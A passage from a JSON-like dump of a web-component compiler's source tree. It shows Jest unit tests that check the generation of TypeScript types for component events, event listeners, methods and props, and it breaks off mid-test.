    "content": "import type * as d from '../../../declarations';\nimport { generateEventDetailTypes } from '../generate-event-detail-types';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\n\ndescribe('generate-event-detail-types', () => {\n  describe('generateEventDetailTypes', () => {\n    it('returns the correct type module data for a component', () => {\n      const tagName = 'event-detail-test-tag';\n      const tagNameAsPascal = 'EventDetailTestTag';\n\n      const expectedTypeInfo = `export interface ${tagNameAsPascal}CustomEvent<T> extends CustomEvent<T> {\n    detail: T;\n    target: HTML${tagNameAsPascal}Element;\n}`;\n      const componentMeta = stubComponentCompilerMeta({\n        tagName,\n      });\n\n      const actualEventDetailTypes = generateEventDetailTypes(componentMeta);\n\n      expect(actualEventDetailTypes).toEqual<d.TypesModule>({\n        component: expectedTypeInfo,\n        element: expectedTypeInfo,\n        htmlElementName: `HTML${tagNameAsPascal}Element`,\n        isDep: false,\n        jsx: expectedTypeInfo,\n        tagName,\n        tagNameAsPascal,\n        explicitAttributes: null,\n        explicitProperties: null,\n        requiredProps: null,\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/generate-event-listener-types.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { generateEventListenerTypes } from '../generate-event-listener-types';\nimport * as StencilTypes from '../stencil-types';\nimport { stubComponentCompilerEvent } from './ComponentCompilerEvent.stub';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubTypesImportData } from './TypesImportData.stub';\n\ndescribe('generate-event-listener-types', () => {\n  describe('generateEventListenerTypes', () => {\n    let updateTypeIdentifierNamesSpy: jest.SpyInstance<\n      ReturnType<typeof StencilTypes.updateTypeIdentifierNames>,\n      Parameters<typeof StencilTypes.updateTypeIdentifierNames>\n    >;\n\n    beforeEach(() => {\n      updateTypeIdentifierNamesSpy = jest.spyOn(StencilTypes, 'updateTypeIdentifierNames');\n      updateTypeIdentifierNamesSpy.mockImplementation(\n        (\n          _typeReferences: d.ComponentCompilerTypeReferences,\n          _typeImportData: d.TypesImportData,\n          _sourceFilePath: string,\n          initialType: string,\n        ) => initialType,\n      );\n    });\n\n    afterEach(() => {\n      updateTypeIdentifierNamesSpy.mockRestore();\n    });\n\n    it('returns empty arrays when no events are provided', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta();\n\n      const expectedEventListenerTypes: ReturnType<typeof generateEventListenerTypes> = {\n        htmlElementEventMap: [],\n        htmlElementEventListenerProperties: [],\n      };\n\n      expect(generateEventListenerTypes(componentMeta, stubImportTypes)).toEqual(expectedEventListenerTypes);\n    });\n\n    it('returns the correct event map type that contains each user implemented event type', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n\n      const expectedHtmlElementEventMap = [\n        '    interface HTMLStubCmpElementEventMap {',\n        '        \"myEvent\": UserImplementedEventType;',\n        '    }',\n      ];\n\n      const { htmlElementEventMap } = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(htmlElementEventMap).toEqual(expectedHtmlElementEventMap);\n    });\n\n    it('returns the correct event map type where keys are wrapped with quotes', () => {\n      const stubImportTypes = stubTypesImportData();\n      const expectedEventMapKey = 'my-key-with-dashes';\n      const componentEvent = stubComponentCompilerEvent({\n        internal: true,\n        name: expectedEventMapKey,\n        method: expectedEventMapKey,\n        complexType: {\n          original: 'UserImplementedEventType',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        events: [componentEvent],\n      });\n\n      const expectedHtmlElementEventMap = [\n        '    interface HTMLStubCmpElementEventMap {',\n        `        \"${expectedEventMapKey}\": UserImplementedEventType;`,\n        '    }',\n      ];\n\n      const { htmlElementEventMap } = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(htmlElementEventMap).toEqual(expectedHtmlElementEventMap);\n    });\n\n    it('derives event listener properties from event map', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n\n      const expectedHtmlElementEventListenerProperties = [\n        '        addEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;',\n        '        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n        '        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n        '        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;',\n        '        removeEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;',\n        '        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n        '        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n        '        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;',\n      ];\n\n      const { htmlElementEventListenerProperties } = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(htmlElementEventListenerProperties).toEqual(expectedHtmlElementEventListenerProperties);\n    });\n\n    it('uses an updated type name to avoid naming collisions', () => {\n      const stubImportTypes = stubTypesImportData();\n      const updatedTypeName = 'SomeTypeReturned';\n      updateTypeIdentifierNamesSpy.mockReturnValue(updatedTypeName);\n\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n\n      const expectedHtmlElementEventMap = [\n        '    interface HTMLStubCmpElementEventMap {',\n        `        \"myEvent\": ${updatedTypeName};`,\n        '    }',\n      ];\n\n      const { htmlElementEventMap } = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(htmlElementEventMap).toEqual(expectedHtmlElementEventMap);\n    });\n\n    it('returns the correct event listener types for a single event', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n\n      const expectedEventListenerTypes = {\n        htmlElementEventMap: [\n          '    interface HTMLStubCmpElementEventMap {',\n          '        \"myEvent\": UserImplementedEventType;',\n          '    }',\n        ],\n        htmlElementEventListenerProperties: [\n          '        addEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;',\n          '        removeEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;',\n        ],\n      };\n\n      const actualEventListenerTypes = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(actualEventListenerTypes).toEqual(expectedEventListenerTypes);\n    });\n\n    it('returns the correct type info for multiple events', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentEvent1 = stubComponentCompilerEvent(stubComponentCompilerEvent());\n      const componentEvent2 = stubComponentCompilerEvent({\n        internal: true,\n        name: 'anotherEvent',\n        method: 'anotherEvent',\n        complexType: {\n          original: 'AnotherUserImplementedEventType',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        events: [componentEvent1, componentEvent2],\n      });\n\n      const expectedEventListenerTypes = {\n        htmlElementEventMap: [\n          '    interface HTMLStubCmpElementEventMap {',\n          '        \"myEvent\": UserImplementedEventType;',\n          '        \"anotherEvent\": AnotherUserImplementedEventType;',\n          '    }',\n        ],\n        htmlElementEventListenerProperties: [\n          '        addEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;',\n          '        removeEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;',\n        ],\n      };\n\n      const actualEventListenerTypes = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(actualEventListenerTypes).toEqual(expectedEventListenerTypes);\n    });\n\n    it('skips any events with no original typing field', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentEvent1 = stubComponentCompilerEvent();\n      const componentEvent2 = stubComponentCompilerEvent({\n        complexType: {\n          original: '',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        events: [componentEvent1, componentEvent2],\n      });\n\n      const expectedEventListenerTypes = {\n        htmlElementEventMap: [\n          '    interface HTMLStubCmpElementEventMap {',\n          '        \"myEvent\": UserImplementedEventType;',\n          '    }',\n        ],\n        htmlElementEventListenerProperties: [\n          '        addEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | AddEventListenerOptions): void;',\n          '        addEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;',\n          '        removeEventListener<K extends keyof HTMLStubCmpElementEventMap>(type: K, listener: (this: HTMLStubCmpElement, ev: StubCmpCustomEvent<HTMLStubCmpElementEventMap[K]>) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLElement, ev: HTMLElementEventMap[K]) => any, options?: boolean | EventListenerOptions): void;',\n          '        removeEventListener(type: string, listener: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;',\n        ],\n      };\n\n      const actualEventListenerTypes = generateEventListenerTypes(componentMeta, stubImportTypes);\n\n      expect(actualEventListenerTypes).toEqual(expectedEventListenerTypes);\n    });\n\n    it('returns empty arrays when all events have no original typing field', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentEvent1 = stubComponentCompilerEvent({\n        complexType: {\n          original: '',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentEvent2 = stubComponentCompilerEvent({\n        complexType: {\n          original: '',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        events: [componentEvent1, componentEvent2],\n      });\n\n      const expectedEventListenerTypes: ReturnType<typeof generateEventListenerTypes> = {\n        htmlElementEventMap: [],\n        htmlElementEventListenerProperties: [],\n      };\n\n      expect(generateEventListenerTypes(componentMeta, stubImportTypes)).toEqual(expectedEventListenerTypes);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/generate-event-types.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport * as UtilHelpers from '../../../utils/helpers';\nimport * as Util from '../../../utils/util';\nimport { generateEventTypes } from '../generate-event-types';\nimport * as StencilTypes from '../stencil-types';\nimport { stubComponentCompilerEvent } from './ComponentCompilerEvent.stub';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubTypesImportData } from './TypesImportData.stub';\n\ndescribe('generate-event-types', () => {\n  describe('generateEventTypes', () => {\n    let updateTypeIdentifierNamesSpy: jest.SpyInstance<\n      ReturnType<typeof StencilTypes.updateTypeIdentifierNames>,\n      Parameters<typeof StencilTypes.updateTypeIdentifierNames>\n    >;\n    let getTextDocsSpy: jest.SpyInstance<ReturnType<typeof Util.getTextDocs>, Parameters<typeof Util.getTextDocs>>;\n    let toTitleCaseSpy: jest.SpyInstance<\n      ReturnType<typeof UtilHelpers.toTitleCase>,\n      Parameters<typeof UtilHelpers.toTitleCase>\n    >;\n\n    beforeEach(() => {\n      updateTypeIdentifierNamesSpy = jest.spyOn(StencilTypes, 'updateTypeIdentifierNames');\n      updateTypeIdentifierNamesSpy.mockImplementation(\n        (\n          _typeReferences: d.ComponentCompilerTypeReferences,\n          _typeImportData: d.TypesImportData,\n          _sourceFilePath: string,\n          initialType: string,\n        ) => initialType,\n      );\n\n      getTextDocsSpy = jest.spyOn(Util, 'getTextDocs');\n      getTextDocsSpy.mockReturnValue('');\n\n      toTitleCaseSpy = jest.spyOn(UtilHelpers, 'toTitleCase');\n      toTitleCaseSpy.mockImplementation((_name: string) => 'MyEvent');\n    });\n\n    afterEach(() => {\n      updateTypeIdentifierNamesSpy.mockRestore();\n      getTextDocsSpy.mockRestore();\n      toTitleCaseSpy.mockRestore();\n    });\n\n    it('returns an empty array when no events are provided', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta();\n      const cmpClassName = 'MyComponent';\n\n      expect(generateEventTypes(componentMeta, stubImportTypes, cmpClassName)).toEqual([]);\n    });\n\n    it('prefixes the event name with \"on\"', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n      const cmpClassName = 'MyComponent';\n\n      const actualTypeInfo = generateEventTypes(componentMeta, stubImportTypes, cmpClassName);\n\n      expect(actualTypeInfo).toHaveLength(1);\n      expect(actualTypeInfo[0].name).toBe('onMyEvent');\n    });\n\n    it('derives a generic CustomEvent from the original type', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n      const cmpClassName = 'MyComponent';\n\n      const actualTypeInfo = generateEventTypes(componentMeta, stubImportTypes, cmpClassName);\n\n      expect(actualTypeInfo).toHaveLength(1);\n      expect(actualTypeInfo[0].type).toBe('(event: MyComponentCustomEvent<UserImplementedEventType>) => void');\n    });\n\n    it('uses an updated type name to avoid naming collisions', () => {\n      const updatedTypeName = 'SomeTypeReturned';\n      updateTypeIdentifierNamesSpy.mockReturnValue(updatedTypeName);\n\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n      const cmpClassName = 'MyComponent';\n\n      const actualTypeInfo = generateEventTypes(componentMeta, stubImportTypes, cmpClassName);\n\n      expect(actualTypeInfo).toHaveLength(1);\n      expect(actualTypeInfo[0].type).toBe(`(event: MyComponentCustomEvent<${updatedTypeName}>) => void`);\n    });\n\n    it('derives CustomEvent type when there is no original typing field', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentEvent = stubComponentCompilerEvent({\n        complexType: {\n          original: '',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        events: [componentEvent],\n      });\n      const cmpClassName = 'MyComponent';\n\n      const actualTypeInfo = generateEventTypes(componentMeta, stubImportTypes, cmpClassName);\n\n      expect(actualTypeInfo).toHaveLength(1);\n      expect(actualTypeInfo[0].type).toBe('CustomEvent');\n    });\n\n    it('returns the correct type info for a single event', () => {\n      const componentMeta = stubComponentCompilerMeta({\n        events: [stubComponentCompilerEvent()],\n      });\n      const stubImportTypes = stubTypesImportData();\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'onMyEvent',\n          optional: false,\n          required: false,\n          type: '(event: MyComponentCustomEvent<UserImplementedEventType>) => void',\n        },\n      ];\n      const cmpClassName = 'MyComponent';\n\n      const actualTypeInfo = generateEventTypes(componentMeta, stubImportTypes, cmpClassName);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('returns the correct type info for multiple events', () => {\n      toTitleCaseSpy.mockReturnValueOnce('MyEvent');\n      toTitleCaseSpy.mockReturnValueOnce('AnotherEvent');\n\n      const componentEvent1 = stubComponentCompilerEvent();\n      const componentEvent2 = stubComponentCompilerEvent({\n        internal: true,\n        name: 'anotherEvent',\n        method: 'anotherEvent',\n        complexType: {\n          original: '',\n          resolved: '',\n          references: {},\n        },\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        events: [componentEvent1, componentEvent2],\n      });\n      const stubImportTypes = stubTypesImportData();\n      const cmpClassName = 'MyComponent';\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'onMyEvent',\n          optional: false,\n          required: false,\n          type: '(event: MyComponentCustomEvent<UserImplementedEventType>) => void',\n        },\n        {\n          jsdoc: '',\n          internal: true,\n          name: 'onAnotherEvent',\n          optional: false,\n          required: false,\n          type: 'CustomEvent',\n        },\n      ];\n\n      const actualTypeInfo = generateEventTypes(componentMeta, stubImportTypes, cmpClassName);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/generate-method-types.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport * as Util from '../../../utils/util';\nimport { generateMethodTypes } from '../generate-method-types';\nimport * as StencilTypes from '../stencil-types';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubComponentCompilerMethod } from './ComponentCompilerMethod.stub';\nimport { stubTypesImportData } from './TypesImportData.stub';\n\ndescribe('generate-method-types', () => {\n  describe('generateMethodTypes', () => {\n    let updateTypeIdentifierNamesSpy: jest.SpyInstance<\n      ReturnType<typeof StencilTypes.updateTypeIdentifierNames>,\n      Parameters<typeof StencilTypes.updateTypeIdentifierNames>\n    >;\n    let getTextDocsSpy: jest.SpyInstance<ReturnType<typeof Util.getTextDocs>, Parameters<typeof Util.getTextDocs>>;\n\n    beforeEach(() => {\n      updateTypeIdentifierNamesSpy = jest.spyOn(StencilTypes, 'updateTypeIdentifierNames');\n      updateTypeIdentifierNamesSpy.mockImplementation(\n        (\n          _typeReferences: d.ComponentCompilerTypeReferences,\n          _typeImportData: d.TypesImportData,\n          _sourceFilePath: string,\n          initialType: string,\n        ) => initialType,\n      );\n\n      getTextDocsSpy = jest.spyOn(Util, 'getTextDocs');\n      getTextDocsSpy.mockReturnValue('');\n    });\n\n    afterEach(() => {\n      updateTypeIdentifierNamesSpy.mockRestore();\n      getTextDocsSpy.mockRestore();\n    });\n\n    it('returns an empty array when no methods are provided', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta();\n\n      expect(generateMethodTypes(componentMeta, stubImportTypes)).toEqual([]);\n    });\n\n    it('returns the correct type info for a single method', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMethod = stubComponentCompilerMethod();\n      const componentMeta = stubComponentCompilerMeta({\n        methods: [componentMethod],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'myMethod',\n          optional: false,\n          required: false,\n          type: '(name: Foo) => Promise<void>',\n        },\n      ];\n\n      const actualTypeInfo = generateMethodTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('uses an updated type name to avoid naming collisions', () => {\n      const updatedTypeName = '(name: SomeTypeReturned) => Promise<void>';\n      updateTypeIdentifierNamesSpy.mockReturnValue(updatedTypeName);\n\n      const stubImportTypes = stubTypesImportData();\n      const componentMethod = stubComponentCompilerMethod();\n      const componentMeta = stubComponentCompilerMeta({\n        methods: [componentMethod],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'myMethod',\n          optional: false,\n          required: false,\n          type: updatedTypeName,\n        },\n      ];\n\n      const actualTypeInfo = generateMethodTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('returns the correct type info for multiple methods', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMethod1 = stubComponentCompilerMethod();\n      const componentMethod2 = stubComponentCompilerMethod({\n        name: 'myOtherMethod',\n        internal: true,\n        complexType: {\n          parameters: [{ name: 'age', type: 'Bar', docs: '' }],\n          references: { Bar: { location: 'local', id: 'placeholder_id', path: './other-resources' } },\n          return: 'Promise<boolean>',\n          signature: '(age: Bar) => Promise<boolean>',\n        },\n        docs: undefined,\n      });\n      const componentMeta = stubComponentCompilerMeta({\n        methods: [componentMethod1, componentMethod2],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'myMethod',\n          optional: false,\n          required: false,\n          type: '(name: Foo) => Promise<void>',\n        },\n        {\n          jsdoc: '',\n          internal: true,\n          name: 'myOtherMethod',\n          optional: false,\n          required: false,\n          type: '(age: Bar) => Promise<boolean>',\n        },\n      ];\n\n      const actualTypeInfo = generateMethodTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/types/tests/generate-prop-types.spec.ts",
    "content": "import type * as d from '../../../declarations';\nimport { generatePropTypes } from '../generate-prop-types';\nimport * as StencilTypes from '../stencil-types';\nimport { stubComponentCompilerMeta } from './ComponentCompilerMeta.stub';\nimport { stubComponentCompilerProperty } from './ComponentCompilerProperty.stub';\nimport { stubComponentCompilerVirtualProperty } from './ComponentCompilerVirtualProperty.stub';\nimport { stubTypesImportData } from './TypesImportData.stub';\n\ndescribe('generate-prop-types', () => {\n  describe('generatePropTypes', () => {\n    let updateTypeIdentifierNamesSpy: jest.SpyInstance<\n      ReturnType<typeof StencilTypes.updateTypeIdentifierNames>,\n      Parameters<typeof StencilTypes.updateTypeIdentifierNames>\n    >;\n\n    beforeEach(() => {\n      updateTypeIdentifierNamesSpy = jest.spyOn(StencilTypes, 'updateTypeIdentifierNames');\n      updateTypeIdentifierNamesSpy.mockImplementation(\n        (\n          _typeReferences: d.ComponentCompilerTypeReferences,\n          _typeImportData: d.TypesImportData,\n          _sourceFilePath: string,\n          initialType: string,\n        ) => initialType,\n      );\n    });\n\n    afterEach(() => {\n      updateTypeIdentifierNamesSpy.mockRestore();\n    });\n\n    it('returns an empty array when no props are provided', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta();\n\n      expect(generatePropTypes(componentMeta, stubImportTypes)).toEqual([]);\n    });\n\n    it('returns the correct type information for a single property', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [stubComponentCompilerProperty()],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('uses an updated type name to avoid naming collisions', () => {\n      const updatedTypeName = 'SomeTypeReturned';\n      updateTypeIdentifierNamesSpy.mockReturnValue(updatedTypeName);\n\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [stubComponentCompilerProperty()],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: updatedTypeName,\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('returns the correct type information for a single virtual property', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        virtualProperties: [stubComponentCompilerVirtualProperty()],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: 'this is a doc string',\n          internal: false,\n          name: 'virtualPropName',\n          optional: true,\n          required: false,\n          type: 'number',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('returns the correct type information for concrete and virtual properties', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [stubComponentCompilerProperty()],\n        virtualProperties: [stubComponentCompilerVirtualProperty()],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n        {\n          jsdoc: 'this is a doc string',\n          internal: false,\n          name: 'virtualPropName',\n          optional: true,\n          required: false,\n          type: 'number',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('appends `@readonly` to jsdoc when the property has a getter and no setter', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [\n          stubComponentCompilerProperty({\n            getter: true,\n            setter: false,\n          }),\n        ],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '@readonly',\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('does not include `@readonly` to jsdoc when the property has a getter and a setter', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [\n          stubComponentCompilerProperty({\n            getter: true,\n            setter: true,\n          }),\n        ],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: '',\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('appends `@default` to jsdoc when the property has a default value', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [\n          stubComponentCompilerProperty({\n            defaultValue: \"'hello'\",\n          }),\n        ],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: \"@default 'hello'\",\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('does not duplicate `@default` in jsdoc when it is already present', () => {\n      const stubImportTypes = stubTypesImportData();\n      const componentMeta = stubComponentCompilerMeta({\n        properties: [\n          stubComponentCompilerProperty({\n            defaultValue: \"'hello'\",\n            docs: {\n              text: '',\n              tags: [{ name: 'default', text: \"'existing default'\" }],\n            },\n          }),\n        ],\n      });\n\n      const expectedTypeInfo: d.TypeInfo = [\n        {\n          jsdoc: \"@default 'existing default'\",\n          internal: false,\n          name: 'propName',\n          optional: false,\n          required: false,\n          type: 'UserCustomPropType',\n        },\n      ];\n\n      const actualTypeInfo = generatePropTypes(componentMeta, stubImportTypes);\n\n      expect(actualTypeInfo).toEqual(expectedTypeInfo);\n    });\n\n    it('escapes \"*/\" in default values within jsdoc', () => {\n      const stubImportTypes = stubTypesImportData();\n      const 